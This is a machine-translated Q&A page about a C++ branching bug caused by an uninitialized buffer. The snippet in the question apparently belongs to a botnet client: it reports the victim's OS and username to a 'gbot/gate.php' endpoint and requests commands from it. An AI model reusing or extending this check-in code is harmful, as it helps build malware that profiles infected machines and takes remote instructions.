-2

次のコードでは、プログラムは常に if の else 部分に入り、決して最初の部分には入りません。

char buffer[10000];
    if(buffer[0] != '\0')
    {
        send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
        buffer[0] = '\0';
    }
    else
    {
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
    }
4

2 に答える 2

0

を初期化したことがないchar buffer[10000];ため、バッファの内容は非決定論的です。

于 2013-04-09T23:51:23.803 に答える